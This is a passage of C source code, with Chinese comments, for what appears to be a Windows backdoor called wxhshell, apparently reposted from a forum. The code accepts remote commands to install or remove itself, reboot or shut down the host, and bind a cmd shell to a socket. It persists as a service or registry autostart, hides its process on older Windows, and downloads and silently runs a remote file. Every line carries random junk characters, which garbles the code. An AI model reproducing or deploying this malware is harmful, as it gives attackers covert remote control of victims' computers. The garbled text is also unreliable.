      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sC_doh_M  
    break; *9US>mVy  
  } F.AP)`6+*  
  // 安装 5Vr#>W  
  case 'i': { ywj'O e41  
    if(Install()) K@?K4o   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0GQKM~|H  
    else \CBL[X5tr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -HRa6  
    break; g6@^n$Y  
    } $U'*}S  
  // 卸载 xu@+b~C\  
  case 'r': { l - ~PX  
    if(Uninstall()) dB8 e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |eksvO'~  
    else ' /3\bvZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T3t w.yh  
    break; ITZ}$=   
    } |N|[E5Cn  
  // 显示 wxhshell 所在路径 UPkc-^BN  
  case 'p': { /}S1e P6  
    char svExeFile[MAX_PATH]; o4,9jk$  
    strcpy(svExeFile,"\n\r"); [x0*x~1B  
      strcat(svExeFile,ExeFile); JykNEMB#  
        send(wsh,svExeFile,strlen(svExeFile),0); J!H)[~2/  
    break; cK75Chsu  
    } %Lom#:L'  
  // 重启 " t,ZO  
  case 'b': { |5*:ThC[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D 1(9/;9  
    if(Boot(REBOOT)) JTTI`b2l_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [jTZxH<  
    else { ~sTn?~  
    closesocket(wsh); G;]zX<2^3  
    ExitThread(0); ckbD/+  
    } #yOeL3|b'  
    break; cUwR6I9  
    } ZFtN~Tg  
  // 关机 =91f26c!~  
  case 'd': { 70Ei<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fwSI"cfM  
    if(Boot(SHUTDOWN)) 7lAnGP.;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b7HT<$Wg  
    else { lN7YU-ygz  
    closesocket(wsh); |al'_s}I  
    ExitThread(0); B] PG  
    } &7KX`%K"D  
    break; l?KP /0`  
    } "MDy0Tj8EN  
  // 获取shell -uB*E1|Q  
  case 's': { p e$WSS J  
    CmdShell(wsh); ,9W!cD+0  
    closesocket(wsh); >t4<2|!(M  
    ExitThread(0); *s!T$oc  
    break; =9A!5  
  } Xliw(B'\a4  
  // 退出 $~r=I[5'(  
  case 'x': { qcfg 55]'c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); la{o<||Aq  
    CloseIt(wsh); 1+Bj` ACP  
    break; U)SQ3*j2D  
    } :(i=> ~O  
  // 离开 \ZC0bHsA  
  case 'q': { >"D0vj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zrq\:KxX  
    closesocket(wsh); ?d)FYB  
    WSACleanup(); 4iJ4g%]  
    exit(1); |qb-iXW=  
    break; / 16 r_l  
        } #$JY &!M  
  } s+a#x(7{  
  } 8VMD304  
];Y tw6A  
  // 提示信息 Bacmrf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vH{JLN2  
} |k)Nf+(}W  
  } MQVEO5   
?DC;Hk<  
  return; P,7beHjf  
} _%<q ZT  
nb(Od,L  
// shell模块句柄 YF13&E2`\  
int CmdShell(SOCKET sock) y{QF#&lW  
{ t,qz%J&a  
STARTUPINFO si; ksQw|>K  
ZeroMemory(&si,sizeof(si)); II(P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )IGx3+I ,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -nk0Q_7N  
PROCESS_INFORMATION ProcessInfo; - s0QEQ  
char cmdline[]="cmd"; qa5 T(:8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3@mW/l>X  
  return 0; sT>l ?L  
} ^-K ~y  
[K`d?&  
// 自身启动模式 T$4Utd5[z'  
int StartFromService(void) B@,#,-=  
{ DZV U!J  
typedef struct D<xDj#Z~1  
{ t+n+_X  
  DWORD ExitStatus; P>ZIP* Gr  
  DWORD PebBaseAddress; q#.+P1"U  
  DWORD AffinityMask; ?., 2EC=+  
  DWORD BasePriority; tCr? !Y~  
  ULONG UniqueProcessId; i,y7R?-K  
  ULONG InheritedFromUniqueProcessId; TRQH{O\O  
}   PROCESS_BASIC_INFORMATION; 6q~*\KRk  
k_7agW  
PROCNTQSIP NtQueryInformationProcess; Bc51 0I$c  
hB-<GGcO <  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |1Pi`^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \m1jV>q  
%ysf FE  
  HANDLE             hProcess; >A1;!kGE#  
  PROCESS_BASIC_INFORMATION pbi; G:{\-R'  
|=ljN7]!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *]* D^'  
  if(NULL == hInst ) return 0; =idZvD  
w"BMJ+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RTvzS]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bhw|!Y&%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2?\L#=<F  
$nW^Gqwj]1  
  if (!NtQueryInformationProcess) return 0; ?$AWY\  
o|7 h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LkIbvJCV  
  if(!hProcess) return 0; t+Hx&_pMj  
?FwjbG<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S*?x|&a  
%& b70]S(  
  CloseHandle(hProcess); z+%74O"c  
dX5|A_Ex  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #Vh$u%q3  
if(hProcess==NULL) return 0; ~F=,)GE  
Z|qUVD5Ic  
HMODULE hMod; cp<jwcc!  
char procName[255]; 9aZ^m$tAt  
unsigned long cbNeeded;  0@dN$e  
6i_dL|c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;B@-RfP  
,]|*~dd>G  
  CloseHandle(hProcess); *'nZ|r v  
c %.vI  
if(strstr(procName,"services")) return 1; // 以服务启动 \h 1T/_4  
lT~A~O  
  return 0; // 注册表启动 OFcqouGE  
} 5WG:m'$$  
XbKNH>  
// 主模块 uV+.(sjH  
int StartWxhshell(LPSTR lpCmdLine) ,?zOJ,wl  
{ $yg=tWk  
  SOCKET wsl; 61{IXx_  
BOOL val=TRUE; F_C_K"[s  
  int port=0; \cRe,(?O  
  struct sockaddr_in door; gTjhD(  
/yS/*ET8  
  if(wscfg.ws_autoins) Install(); !E|k#c9  
Wg ?P"  
port=atoi(lpCmdLine); iHL`r1I!  
t`y*oRy  
if(port<=0) port=wscfg.ws_port; W;@9x1jK X  
,=Fn6'  
  WSADATA data; yCG<qQz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7O.{g  
dw]wQ\4B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l9X\\uG&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T&PLvyBL  
  door.sin_family = AF_INET; |8YP8o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {r2fIj~V  
  door.sin_port = htons(port); [.`%]Z(  
q^k]e{PD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  @M E .  
closesocket(wsl); njN]0l{p  
return 1; mtn+bV R%  
} %:WM]dc  
'4}c1F1T_  
  if(listen(wsl,2) == INVALID_SOCKET) { <UMT:`h1MZ  
closesocket(wsl); 37QXML  
return 1; .&Ok53]b  
} -L%2*`-L$  
  Wxhshell(wsl); xMAb=87_  
  WSACleanup(); cXo^.u  
auS.q5 %  
return 0; q=40  l  
1-bQ ( -  
} 5zBayJh#  
d$(>=gzBQ  
// 以NT服务方式启动  {!9i8T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wu2C!gyBo  
{ `Ufv,_n  
DWORD   status = 0; Vdz(\-}ao  
  DWORD   specificError = 0xfffffff; GxR, 3  
Cq-#| +zr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .6D9m.Q,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }lzN)e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]9}T)D f'  
  serviceStatus.dwWin32ExitCode     = 0; tuiQk=[ c  
  serviceStatus.dwServiceSpecificExitCode = 0; q4rDAQyPO  
  serviceStatus.dwCheckPoint       = 0; :&oUI&(o  
  serviceStatus.dwWaitHint       = 0; /NDuAjp[@  
G]- wN7G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MlM2(/ok  
  if (hServiceStatusHandle==0) return; +#d}3^_]  
2!4.L&Ki  
status = GetLastError(); '#b7Z?83C  
  if (status!=NO_ERROR) _7M!b 9oA  
{ ToB^/ n[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VI (;8  
    serviceStatus.dwCheckPoint       = 0; ]O;Hlty(g  
    serviceStatus.dwWaitHint       = 0; 8{GRrwQ>  
    serviceStatus.dwWin32ExitCode     = status; 23;e/Qr  
    serviceStatus.dwServiceSpecificExitCode = specificError; BOQeP/>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _2,eS[wP  
    return; Hw"UJP  
  } H~P"uYKIZ  
pM i w9}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F}lgy;=h  
  serviceStatus.dwCheckPoint       = 0; E(&GZ QE  
  serviceStatus.dwWaitHint       = 0; G2,r %|7ta  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ph&fOj=pFb  
} (BA2   
;|Z;YK@20  
// 处理NT服务事件,比如:启动、停止 Q&9%XF uM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K~#wvUb  
{ p~sfd  
switch(fdwControl) OZ$"P<X_"  
{ ]%y~cq  
case SERVICE_CONTROL_STOP: D-8>?`n\  
  serviceStatus.dwWin32ExitCode = 0; zTa>MzH1-;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5w#*JK   
  serviceStatus.dwCheckPoint   = 0; '%m0@5|hCD  
  serviceStatus.dwWaitHint     = 0; 7(<49bb.V  
  { N+vU@)_lC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0KF)+`CC>  
  } ,ZYj8^gF  
  return; #89h}mp'  
case SERVICE_CONTROL_PAUSE: Bn"r;pqWiT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [wM<J$=2  
  break; F)0I7+lP  
case SERVICE_CONTROL_CONTINUE: a#0G mK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /Jc?;@{  
  break; |m%M$^sZ}  
case SERVICE_CONTROL_INTERROGATE: $<UX/a\sH  
  break; @x@w<e%  
}; J L9d&7-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lbES9o5  
} O^ ]I>A#d  
X'&$wQ6,K  
// 标准应用程序主函数 TgaDzF,j{A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) / -=(51}E  
{ jz[|rwAp  
lK^Q#td:`  
// 获取操作系统版本 (jD..qMs#  
OsIsNt=GetOsVer(); a.5s5g)8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T2wn!N?r  
 afEp4(X~  
  // 从命令行安装 W7a s =+;X  
  if(strpbrk(lpCmdLine,"iI")) Install(); fJ Ch  
>EMgP1  
  // 下载执行文件 1q!JpC^  
if(wscfg.ws_downexe) { f=}Mr8W'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eh'mSf^=p  
  WinExec(wscfg.ws_filenam,SW_HIDE); L!L/QG|wdf  
} DJE/u qE  
wS2iyrIB  
if(!OsIsNt) { >:]fN61#  
// 如果时win9x,隐藏进程并且设置为注册表启动 xQ7n$.?y@  
HideProc(); ,h2q 37  
StartWxhshell(lpCmdLine); We]X+>BlO  
} !dLz ?0  
else mm=Y(G[_%y  
  if(StartFromService()) ucj)t7O   
  // 以服务方式启动 %6 <Pt  
  StartServiceCtrlDispatcher(DispatchTable); YF{K9M!  
else e76@-fg  
  // 普通方式启动 ![5<\  
  StartWxhshell(lpCmdLine); UBRMV s  
e>t9\vN#bx  
return 0; bq4H4?j  
}
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只看该作者 1 发表于: 2006-10-10
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